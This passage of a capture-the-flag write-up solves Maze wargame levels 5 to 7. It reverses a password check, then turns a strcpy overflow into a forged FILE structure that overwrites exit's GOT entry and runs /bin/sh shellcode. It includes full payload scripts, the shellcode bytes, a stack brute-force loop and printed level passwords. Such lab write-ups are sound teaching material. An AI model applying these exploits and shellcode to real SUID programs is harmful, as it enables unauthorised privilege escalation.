After that, the input username and password are sent to foo
(only if both have a length of 8 bytes):
int foo(char *s, char *a) {
int iVar1;
int iVar2;
size_t sVar3;
char cStack22;
char p[9];
int x;
int i;
p._0_4_ = 0x6e697270;
p._4_4_ = 0x6c6f6c74;
p[8] = '\0';
for (i = 0; sVar3 = strlen(s), (uint)i < sVar3; i = i + 1) {
p[i] = p[i] - (s[i] + -0x41 + (char)i * '\x02');
}
do {
iVar1 = i + -1;
if (i == 0) {
return 1;
}
iVar2 = i + -1;
i = iVar1;
} while (p[iVar2] == a[iVar1]);
return 0;
}
The decompiled source code is a little weird. The for
loop is doing an operation using the username and a key which is "printlol"
(0x6e697270
and 0x6c6f6c74
into bytes format). Then, the do
-while
loop only checks that the password is the same as the result of the previous operation (character by character).
Hence, we can rewrite the for
loop into another file and obtain the expected password:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(int argc, char** argv) {
if (argc != 2) return;
int i;
char* key = "printlol";
char* username = argv[1];
char password[8];
printf("Key: %s\n", key);
printf("Username: %s\n", username);
for (i = 0; i < 8; i++) {
password[i] = key[i] - (username[i] - 0x41 + i * 2);
}
printf("Expected password: %s\n", password);
}
Now, we compile it an execute it passing a username as argument:
$ gcc -o password password.c
$ ./password AAAAAAAA
Key: printlol
Username: AAAAAAAA
Expected password: ppehlbc^
And so, we can use the program and get a shell as maze6
:
maze5@maze:~$ /maze/maze5
X----------------
Username: AAAAAAAA
Key: ppehlbc^
Yeh, here's your shell
$ whoami
maze6
$ cat /etc/maze_pass/maze6
epheghuoli
Level 6 -> 7
The decompiled source code for /maze/maze6
is shown below:
int main(int argc, char **argv) {
FILE *__stream;
size_t __n;
char buf[256];
FILE *fp;
if (argc != 3) {
printf("%s file2write2 string\n", *argv);
/* WARNING: Subroutine does not return */
exit(-1);
}
__stream = fopen(argv[1], "a");
if (__stream == (FILE *) 0x0) {
perror("fopen");
/* WARNING: Subroutine does not return */
exit(-1);
}
strcpy(buf, argv[2]);
__n = strlen(buf);
memfrob(buf, __n);
fprintf(__stream, "%s : %s\n", argv[1], buf);
/* WARNING: Subroutine does not return */
exit(0);
}
First we notice the use of strcpy
, which is vulnerable to Buffer Overflow as we control the contents of the source string, that will be copied to the destination variable (buf
), which has only 256 bytes reserved.
Unfortunately, there is no return instruction, so the Buffer Overflow will not be useful to redirect program execution.
Moreover, after the strcpy
, the data copied to buf
is modified by memfrob
. This function encrypts each byte using a XOR operation with 42 (0x2a
) as key. This must be taken into account because we will create a payload and use a XOR cipher with key 42, so that memfrob
reverts our encryption and we copy the desired data. Plus, this methodology will allow us to send null bytes (otherwise, strcpy
will not work as expected because a null byte terminates a string in C language).
Since we cannot overwrite a saved return instruction, we need to modify some local variables (which are saved in the stack). The only one that matters is a pointer to a FILE
structure, so this must be the way.
A quick search on the Internet unveils a technique called FILE
structure attack, which consists of forging a FILE
structure to gain an arbitrary write primitive. There is a lot of information there.
First of all, let’s execute the program:
maze6@maze:~$ /maze/maze6
/maze/maze6 file2write2 string
maze6@maze:~$ /maze/maze6 file.txt AAAA
fopen: Permission denied
maze6@maze:~$ cd /tmp
maze6@maze:/tmp$ echo AAAA > asdf.txt
maze6@maze:/tmp$ /maze/maze6 asdf.txt AAAA
fopen: Permission denied
This behavior is strange. It seems that the program does not have enough permissions to write data to asdf.txt
. Let’s check that permissions:
maze6@maze:/tmp$ ls -l --time-style=+ asdf.txt
-rw-r--r-- 1 maze6 root 5 asdf.txt
Alright, since /maze/maze6
is a SUID binary, it is being executed as user maze7
, but the file asdf.txt
belongs to maze6
and others only are able to read. Therefore, we must change its permissions at least to rw
:
maze6@maze:/tmp$ chmod 666 asdf.txt
maze6@maze:/tmp$ ls -l --time-style=+ asdf.txt
-rw-rw-rw- 1 maze6 root 5 asdf.txt
maze6@maze:/tmp$ /maze/maze6 asdf.txt AAAA
maze6@maze:/tmp$ cat asdf.txt
AAAA
asdf.txt : kkkk
Now everything is correct and we can start working.
For the sake of solving this level, let’s set a breakpoint before fprintf
and examine the legitimate FILE
structure from the remote machine. Curiously, GDB has changed the prompt. This time I will use gdb-peda
(just because gef
is not installed and pwndbg
does not work properly):
maze6@maze:/tmp$ gdb -q /maze/maze6
Reading symbols from /maze/maze6...done.
warning: ~/.gdbinit.local: No such file or directory
(gdb) source /usr/local/peda/peda.py
gdb-peda$
We disassemble the main
function and set a breakpoint right before fprintf
is called:
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0804855b <+0>: push ebp
0x0804855c <+1>: mov ebp,esp
0x0804855e <+3>: sub esp,0x104
...
0x08048606 <+171>: call 0x8048420 <fprintf@plt>
0x0804860b <+176>: add esp,0x10
0x0804860e <+179>: push 0x0
0x08048610 <+181>: call 0x80483f0 <exit@plt>
End of assembler dump.
gdb-peda$ break *0x08048606
Breakpoint 1 at 0x8048606: file maze6.c, line 40.
Now we can run the program:
gdb-peda$ run asdf.txt AAAA
Starting program: /maze/maze6 asdf.txt AAAA
[----------------------------------registers-----------------------------------]
EAX: 0xffffd7cd ("asdf.txt")
EBX: 0x0
ECX: 0xffffd4d8 --> 0x0
EDX: 0xffffd4d4 ("kkkk")
ESI: 0x3
EDI: 0xf7fc5000 --> 0x1b2db0
EBP: 0xffffd5d8 --> 0x0
ESP: 0xffffd4c4 --> 0x804a008 --> 0xfbad3484
EIP: 0x8048606 (<main+171>: call 0x8048420 <fprintf@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80485fd <main+162>: push eax
0x80485fe <main+163>: push 0x80486bf
0x8048603 <main+168>: push DWORD PTR [ebp-0x4]
=> 0x8048606 <main+171>: call 0x8048420 <fprintf@plt>
0x804860b <main+176>: add esp,0x10
0x804860e <main+179>: push 0x0
0x8048610 <main+181>: call 0x80483f0 <exit@plt>
0x8048615: xchg ax,ax
Guessed arguments:
arg[0]: 0x804a008 --> 0xfbad3484
arg[1]: 0x80486bf ("%s : %s\n")
arg[2]: 0xffffd7cd ("asdf.txt")
arg[3]: 0xffffd4d4 ("kkkk")
[------------------------------------stack-------------------------------------]
0000| 0xffffd4c4 --> 0x804a008 --> 0xfbad3484
0004| 0xffffd4c8 --> 0x80486bf ("%s : %s\n")
0008| 0xffffd4cc --> 0xffffd7cd ("asdf.txt")
0012| 0xffffd4d0 --> 0xffffd4d4 ("kkkk")
0016| 0xffffd4d4 ("kkkk")
0020| 0xffffd4d8 --> 0x0
0024| 0xffffd4dc --> 0xf7ff1781 (add esp,0x10)
0028| 0xffffd4e0 --> 0xf7ff215c (add esi,0xaea4)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048606 in main (argc=0x3, argv=0xffffd674) at maze6.c:40
40 maze6.c: No such file or directory.
At this point, we see that the pointer to the FILE
structure is 0x804a008
(the first argument for fprintf
). We can extract the attributes of this structure as follows:
gdb-peda$ p *((FILE*) 0x804a008)
$1 = {
_flags = 0xfbad3484,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0xf7fc5cc0 <_IO_2_1_stderr_>,
_fileno = 0x3,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x804a0a0,
_offset = 0xffffffffffffffff,
__pad1 = 0x0,
__pad2 = 0x804a0ac,
__pad3 = 0x0,
__pad4 = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 39 times>
}
Important attributes to consider are:
_chain = 0xf7fc5cc0
_lock = 0x804a0a0
_offset = 0xffffffffffffffff
There is a class in pwntools
called FileStructure
that might be useful, but I did not make it to work properly.
Also, we must check the attribute types of the FILE
structure and how is this structure stored in memory:
gdb-peda$ ptype FILE
type = struct _IO_FILE {
int _flags;
char *_IO_read_ptr;
char *_IO_read_end;
char *_IO_read_base;
char *_IO_write_base;
char *_IO_write_ptr;
char *_IO_write_end;
char *_IO_buf_base;
char *_IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
__off64_t _offset;
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
char _unused2[40];
}
gdb-peda$ x/40x 0x804a008
0x804a008: 0xfbad3484 0x00000000 0x00000000 0x00000000
0x804a018: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a028: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a038: 0x00000000 0xf7fc5cc0 0x00000003 0x00000000
0x804a048: 0x00000000 0x00000000 0x0804a0a0 0xffffffff
0x804a058: 0xffffffff 0x00000000 0x0804a0ac 0x00000000
0x804a068: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a078: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a088: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a098: 0x00000000 0xf7fc3960 0x00000000 0x00000000
There is another relevant value here: vtable
, which is 0xf7fc3960
.
In order to write arbitrary data into memory, we need to control attributes _IO_buf_base
and _IO_buf_end
, so that these attributes point to the starting and ending addresses where we want to write (the length will be _IO_buf_end - _IO_buf_base
).
Since we have a Buffer Overflow vulnerability, we are able to modify the pointer to the legitimate FILE
structure and force it to point to a malicious one loaded onto the stack.
For that, we need to calculate the offset to overwrite the first argument to fprintf
. This can be done with cyclic
from pwntools
(we use the XOR cipher so that we can compute the offset afterwards):
gdb-peda$ run asdf.txt "$(python -c 'from pwn import cyclic; print("".join(chr(42 ^ ord(b)) for b in cyclic(270)))')"
Starting program: /maze/maze6 asdf.txt "$(python -c 'from pwn import cyclic; print("".join(chr(42 ^ ord(b)) for b in cyclic(270)))')"
[----------------------------------registers-----------------------------------]
EAX: 0xffffd6c3 ("asdf.txt")
EBX: 0x0
ECX: 0xffffd4d2 --> 0xd5640000
EDX: 0xffffd3c4 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"...)
ESI: 0x3
EDI: 0xf7fc5000 --> 0x1b2db0
EBP: 0xffffd4c8 ("paacqaacra")
ESP: 0xffffd3b4 ("oaac\277\206\004\b\303\326\377\377\304\323\377\377aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaab"...)
EIP: 0x8048606 (<main+171>: call 0x8048420 <fprintf@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80485fd <main+162>: push eax
0x80485fe <main+163>: push 0x80486bf
0x8048603 <main+168>: push DWORD PTR [ebp-0x4]
=> 0x8048606 <main+171>: call 0x8048420 <fprintf@plt>
0x804860b <main+176>: add esp,0x10
0x804860e <main+179>: push 0x0
0x8048610 <main+181>: call 0x80483f0 <exit@plt>
0x8048615: xchg ax,ax
Guessed arguments:
arg[0]: 0x6361616f ('oaac')
arg[1]: 0x80486bf ("%s : %s\n")
arg[2]: 0xffffd6c3 ("asdf.txt")
arg[3]: 0xffffd3c4 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"...)
[------------------------------------stack-------------------------------------]
0000| 0xffffd3b4 ("oaac\277\206\004\b\303\326\377\377\304\323\377\377aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaab"...)
0004| 0xffffd3b8 --> 0x80486bf ("%s : %s\n")
0008| 0xffffd3bc --> 0xffffd6c3 ("asdf.txt")
0012| 0xffffd3c0 --> 0xffffd3c4 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"...)
0016| 0xffffd3c4 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"...)
0020| 0xffffd3c8 ("baaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaac"...)
0024| 0xffffd3cc ("caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaac"...)
0028| 0xffffd3d0 ("daaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaac"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048606 in main (argc=0x6172, argv=0xffffd564) at maze6.c:40
40 in maze6.c
And the first parameter is overwritten with "oaac"
, which results in an offset of 256 bytes:
$ pwn cyclic -l oaac
256
Notice that the actual pattern is stored in the stack 16 bytes after the offset:
gdb-peda$ x/50x $esp
0xffffd3b4: 0x6361616f 0x080486bf 0xffffd6c3 0xffffd3c4
0xffffd3c4: 0x61616161 0x61616162 0x61616163 0x61616164
0xffffd3d4: 0x61616165 0x61616166 0x61616167 0x61616168
0xffffd3e4: 0x61616169 0x6161616a 0x6161616b 0x6161616c
0xffffd3f4: 0x6161616d 0x6161616e 0x6161616f 0x61616170
0xffffd404: 0x61616171 0x61616172 0x61616173 0x61616174
0xffffd414: 0x61616175 0x61616176 0x61616177 0x61616178
0xffffd424: 0x61616179 0x6261617a 0x62616162 0x62616163
0xffffd434: 0x62616164 0x62616165 0x62616166 0x62616167
0xffffd444: 0x62616168 0x62616169 0x6261616a 0x6261616b
0xffffd454: 0x6261616c 0x6261616d 0x6261616e 0x6261616f
0xffffd464: 0x62616170 0x62616171 0x62616172 0x62616173
0xffffd474: 0x62616174 0x62616175
Hence, instead of "oaac"
we will place 0xffffd3c4
so that the FILE
structure starts there and the first argument for fprintf
points to that position on the stack.
Now we can craft the malicious FILE
structure in order to load it into the stack. For the moment let’s try to overwrite an environment variable, for instance USER=maze6
):
gdb-peda$ shell echo $USER
maze6
gdb-peda$ find USER
Searching for 'USER' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0xffffde6d ("USER=maze6")
Hence, these will be the values for the FILE
structure:
_chain = 0xf7fc5cc0
_lock = 0x804a0a0
_offset = 0xffffffffffffffff
vtable = 0xf7fc3960
_IO_buf_base = 0xffffde6d
_IO_buf_end = 0xffffde6d + 4
After some trial and error, we can build this Python script that puts these fields into the payload:
#!/usr/bin/env python3
import os
import struct
env_addr = 0xffffde6d
file_addr = 0xffffd3c8
length = 256
p32 = lambda h: struct.pack('<I', h)
payload = b'ASDF'
payload += b'\0' * 28
payload += p32(env_addr)
payload += p32(env_addr + 4)
payload += b'\0' * 16
payload += p32(0xf7fc5cc0)
payload += b'\0' * 16
payload += p32(0x0804a0a0)
payload += b'\xff' * 8
payload += b'\0' * 64
payload += p32(0xf7fc3960)
payload += b'\0' * (length - len(payload))
payload += p32(file_addr)
os.write(1, bytes(42 ^ b for b in payload))
We can check that all the values are at the expected position using GDB:
gdb-peda$ run asdf.txt "$(python3 maze6.py)"
Starting program: /maze/maze6 asdf.txt "$(python3 maze6.py)"
[----------------------------------registers-----------------------------------]
EAX: 0xffffd6cd ("asdf.txt")
EBX: 0x0
ECX: 0xffffd4d8 --> 0x0
EDX: 0xffffd3d4 ("ASDF")
ESI: 0x3
EDI: 0xf7fc5000 --> 0x1b2db0
EBP: 0xffffd4d8 --> 0x0
ESP: 0xffffd3c4 --> 0xffffd3d8 --> 0x0
EIP: 0x8048606 (<main+171>: call 0x8048420 <fprintf@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80485fd <main+162>: push eax
0x80485fe <main+163>: push 0x80486bf
0x8048603 <main+168>: push DWORD PTR [ebp-0x4]
=> 0x8048606 <main+171>: call 0x8048420 <fprintf@plt>
0x804860b <main+176>: add esp,0x10
0x804860e <main+179>: push 0x0
0x8048610 <main+181>: call 0x80483f0 <exit@plt>
0x8048615: xchg ax,ax
Guessed arguments:
arg[0]: 0xffffd3d8 --> 0x0
arg[1]: 0x80486bf ("%s : %s\n")
arg[2]: 0xffffd6cd ("asdf.txt")
arg[3]: 0xffffd3d4 ("ASDF")
[------------------------------------stack-------------------------------------]
0000| 0xffffd3c4 --> 0xffffd3d8 --> 0x0
0004| 0xffffd3c8 --> 0x80486bf ("%s : %s\n")
0008| 0xffffd3cc --> 0xffffd6cd ("asdf.txt")
0012| 0xffffd3d0 --> 0xffffd3d4 ("ASDF")
0016| 0xffffd3d4 ("ASDF")
0020| 0xffffd3d8 --> 0x0
0024| 0xffffd3dc --> 0x0
0028| 0xffffd3e0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048606 in main (argc=0x3, argv=0xffffd574) at maze6.c:40
40 in maze6.c
gdb-peda$ p *((FILE*) 0xffffd3d8)
$3 = {
_flags = 0x0,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0xffffde6d "USER=maze6",
_IO_buf_end = 0xffffde74 "ze6",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0xf7fc5cc0 <_IO_2_1_stderr_>,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x804a0a0,
_offset = 0xffffffffffffffff,
__pad1 = 0x0,
__pad2 = 0x0,
__pad3 = 0x0,
__pad4 = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 39 times>
}
Everything is correct. If we continue, we see the value modified:
gdb-peda$ x/s 0xffffde6d
0xffffde6d: "USER=maze6"
gdb-peda$ next
asdf.txt : ASDF
...
gdb-peda$ x/s 0xffffde6d
0xffffde6d: " : ASDFze6"
At this point, the idea is to overwrite the Global Offset Table (GOT) entry for exit
to jump to the address of an environment variable that will contain shellcode to spawn a shell.
We can take a common 32-bit shellcode and store it into an environment variable:
maze6@maze:/tmp$ export TEST=$(python -c 'print("\x90" * 20 + "\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\xcd\x80")')
maze6@maze:/tmp$ echo $TEST | xxd
00000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................
00000010: 9090 9090 31c9 6a0b 5851 682f 2f73 6868 ....1.j.XQh//shh
00000020: 2f62 696e 89e3 31d2 cd80 0a /bin..1....
maze6@maze:/tmp$ gdb -q /maze/maze6
Reading symbols from /maze/maze6...done.
warning: ~/.gdbinit.local: No such file or directory
(gdb) source /usr/local/peda/peda.py
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0804855b <+0>: push ebp
0x0804855c <+1>: mov ebp,esp
0x0804855e <+3>: sub esp,0x104
...
0x08048606 <+171>: call 0x8048420 <fprintf@plt>
0x0804860b <+176>: add esp,0x10
0x0804860e <+179>: push 0x0
0x08048610 <+181>: call 0x80483f0 <exit@plt>
gdb-peda$ break main
Breakpoint 1 at 0x8048564: file maze6.c, line 29.
gdb-peda$ break *0x8048606
Breakpoint 2 at 0x8048606: file maze6.c, line 40.
gdb-peda$ disassemble 0x80483f0
Dump of assembler code for function exit@plt:
0x080483f0 <+0>: jmp DWORD PTR ds:0x80498dc
0x080483f6 <+6>: push 0x18
0x080483fb <+11>: jmp 0x80483b0
End of assembler dump.
gdb-peda$ run asdf.txt AAAA
Starting program: /maze/maze6 asdf.txt AAAA
...
Breakpoint 1, main (argc=0x3, argv=0xffffd644) at maze6.c:29
29 maze6.c: No such file or directory.
gdb-peda$ find TEST
Searching for 'TEST' in: None ranges
Found 2 results, display max 2 items:
libc : 0xf7f6fd88 ("TEST")
[stack] : 0xffffde29 ("TEST=", '\220' <repeats 20 times>, "\061\311j\vXQh//shh/bin\211\343\061\322̀")
From the previous GDB output we get the address of exit
at GOT and the address of TEST
in the stack. Now we can update the values on the exploit as follows:
#!/usr/bin/env python3
import os
import struct
exit_got = 0x080498dc
env_addr = 0xffffde29
file_addr = 0xffffd3a8
length = 256
p32 = lambda h: struct.pack('<I', h)
payload = p32(env_addr + 5)
payload += b'\0' * 28
payload += p32(exit_got - 3)
payload += p32(exit_got + 5)
payload += b'\0' * 16
payload += p32(0xf7fc5cc0)
payload += b'\0' * 16
payload += p32(0x0804a0a0)
payload += b'\xff' * 8
payload += b'\0' * 64
payload += p32(0xf7fc3960)
payload += b'\0' * (length - len(payload))
payload += p32(file_addr)
os.write(1, bytes(42 ^ b for b in payload))
The address of the FILE
structure has changed, this can be checked as before using GDB. Notice that we are writing into exit_got - 3
because " : "
will be written as well. That way, we can write 4 bytes at exit_got
until exit_got + 4
. Plus, notice that the address we are writing is env_addr + 5
since the contents start at the fifth position (TEST=...
), although there are some nop
instructions as padding just in case.
Now, if we run the exploit, we see that everything is correct:
gdb-peda$ run asdf.txt "$(python3 maze6.py)"
Starting program: /maze/maze6 asdf.txt "$(python3 maze6.py)"
[----------------------------------registers-----------------------------------]
EAX: 0xffffd69d ("asdf.txt")
EBX: 0x0
ECX: 0xffffd4a8 --> 0x0
EDX: 0xffffd3a4 --> 0xffffde2e --> 0x90909090
ESI: 0x3
EDI: 0xf7fc5000 --> 0x1b2db0
EBP: 0xffffd4a8 --> 0x0
ESP: 0xffffd394 --> 0xffffd3a8 --> 0x0
EIP: 0x8048606 (<main+171>: call 0x8048420 <fprintf@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80485fd <main+162>: push eax
0x80485fe <main+163>: push 0x80486bf
0x8048603 <main+168>: push DWORD PTR [ebp-0x4]
=> 0x8048606 <main+171>: call 0x8048420 <fprintf@plt>
0x804860b <main+176>: add esp,0x10
0x804860e <main+179>: push 0x0
0x8048610 <main+181>: call 0x80483f0 <exit@plt>
0x8048615: xchg ax,ax
Guessed arguments:
arg[0]: 0xffffd3a8 --> 0x0
arg[1]: 0x80486bf ("%s : %s\n")
arg[2]: 0xffffd69d ("asdf.txt")
arg[3]: 0xffffd3a4 --> 0xffffde2e --> 0x90909090
[------------------------------------stack-------------------------------------]
0000| 0xffffd394 --> 0xffffd3a8 --> 0x0
0004| 0xffffd398 --> 0x80486bf ("%s : %s\n")
0008| 0xffffd39c --> 0xffffd69d ("asdf.txt")
0012| 0xffffd3a0 --> 0xffffd3a4 --> 0xffffde2e --> 0x90909090
0016| 0xffffd3a4 --> 0xffffde2e --> 0x90909090
0020| 0xffffd3a8 --> 0x0
0024| 0xffffd3ac --> 0x0
0028| 0xffffd3b0 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, 0x08048606 in main (argc=0x3, argv=0xffffd544) at maze6.c:40
40 in maze6.c
gdb-peda$ p *((FILE*) 0xffffd3a8)
$2 = {
_flags = 0x0,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x80498d9 "\224\351\367\366\203\004\bP\n\351\367\220\241\342\367&\204\004\b\240\377\346", <incomplete sequence \367>,
_IO_buf_end = 0x80498e1 "\n\351\367\220\241\342\367&\204\004\b\240\377\346", <incomplete sequence \367>,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0xf7fc5cc0 <_IO_2_1_stderr_>,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x804a0a0,
_offset = 0xffffffffffffffff,
__pad1 = 0x0,
__pad2 = 0x0,
__pad3 = 0x0,
__pad4 = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 39 times>
}
And indeed, if we continue, we will execute a shell:
gdb-peda$ continue
Continuing.
asdf.txtprocess 697 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 2.
Cannot access memory at address 0x8048606
Now the problem is that we must run the exploit without a debugger. This is problematic since we do not know beforehand the address of the environment variable and the address of the FILE
structure on the stack.
The address of the environment variable can be obtained using this code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void main(int argc, char** argv) {
char *ptr;
if (argc < 3) {
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
exit(0);
}
ptr = getenv(argv[1]); /* get env var location */
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; /* adjust for program name */
printf("%s will be at %p\n", argv[1], ptr);
}
Basically, it prints the address where a certain environment variable will be providing the path of the binary to execute as well:
maze6@maze:/tmp$ gcc -m32 -o envaddr envaddr.c
maze6@maze:/tmp$ export TEST=$(python -c 'print("\x90" * 20 + "\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xd2\xcd\x80")')
maze6@maze:/tmp$ ./envaddr TEST /maze/maze6
TEST will be at 0xffffde35
And then, for the issue of the address of the stack, we can make brute force until we get a shell:
#!/usr/bin/env python3
import os
import struct
import sys
exit_got = 0x080498dc
env_addr = 0xffffde35
file_addr = 0xffffd000 + int(sys.argv[1])
length = 256
p32 = lambda h: struct.pack('<I', h)
payload = p32(env_addr + 10)
payload += b'\0' * 28
payload += p32(exit_got - 3)
payload += p32(exit_got + 5)
payload += b'\0' * 16
payload += p32(0xf7fc5cc0)
payload += b'\0' * 16
payload += p32(0x0804a0a0)
payload += b'\xff' * 8
payload += b'\0' * 64
payload += p32(0xf7fc3960)
payload += b'\0' * (length - len(payload))
payload += p32(file_addr)
os.write(1, bytes(42 ^ b for b in payload))
We will start from 0xffffd000
until 0xffffe000
(which is the available space for the stack) in steps of 4. There will be values where the program stops. This is OK, but we need to cancel the loop and continue to the next iteration:
maze6@maze:/tmp$ for i in `seq 0 4 4095`; do echo $i; /maze/maze6 asdf.txt "$(python3 maze6.py $i)"; done
0
^C
maze6@maze:/tmp$ for i in `seq 4 4 4095`; do echo $i; /maze/maze6 asdf.txt "$(python3 maze6.py $i)"; done
4
^C
maze6@maze:/tmp$ for i in `seq 8 4 4095`; do echo $i; /maze/maze6 asdf.txt "$(python3 maze6.py $i)"; done
8
Segmentation fault
12
16
^C
Finally, we get that 952 is the correct value and we get a shell as maze7
:
maze6@maze:/tmp$ for i in `seq 840 4 4095`; do echo $i; /maze/maze6 asdf.txt "$(python3 maze6.py $i)"; done
840
Segmentation fault
844
^C
maze6@maze:/tmp$ for i in `seq 848 4 4095`; do echo $i; /maze/maze6 asdf.txt "$(python3 maze6.py $i)"; done
848
Fatal error: glibc detected an invalid stdio handle
Aborted
...
944
Fatal error: glibc detected an invalid stdio handle
Aborted
948
952
asdf.txt$
$
$ whoami
maze7
And it works perfectly:
maze6@maze:/tmp$ /maze/maze6 asdf.txt "$(python3 maze6.py 952)"
asdf.txt$
$ whoami
maze7
$ cat /etc/maze_pass/maze7
iuvaegoang
Level 7 -> 8
We have another binary that checks the contents of a given file:
int main(int argc, char **argv) {
int __fd;
Elf32_Ehdr ehdr;
int fd;
if (argc < 2) {
printf("usage: %s file\n", *argv);
/* WARNING: Subroutine does not return */
exit(1);
}
__fd = open(argv[1], 0, 0);
if (__fd < 0) {
printf("cannot open file %s\n", argv[1]);
/* WARNING: Subroutine does not return */
exit(1);
}
read(__fd, &ehdr, 52);
printf("Dumping section-headers of program %s\n", argv[1]);
Print_Shdrs(__fd, ehdr.e_shoff, (uint) ehdr.e_shstrndx, (uint) ehdr.e_shnum, (uint) ehdr.e_shentsize);
close(__fd);
return 0;
}
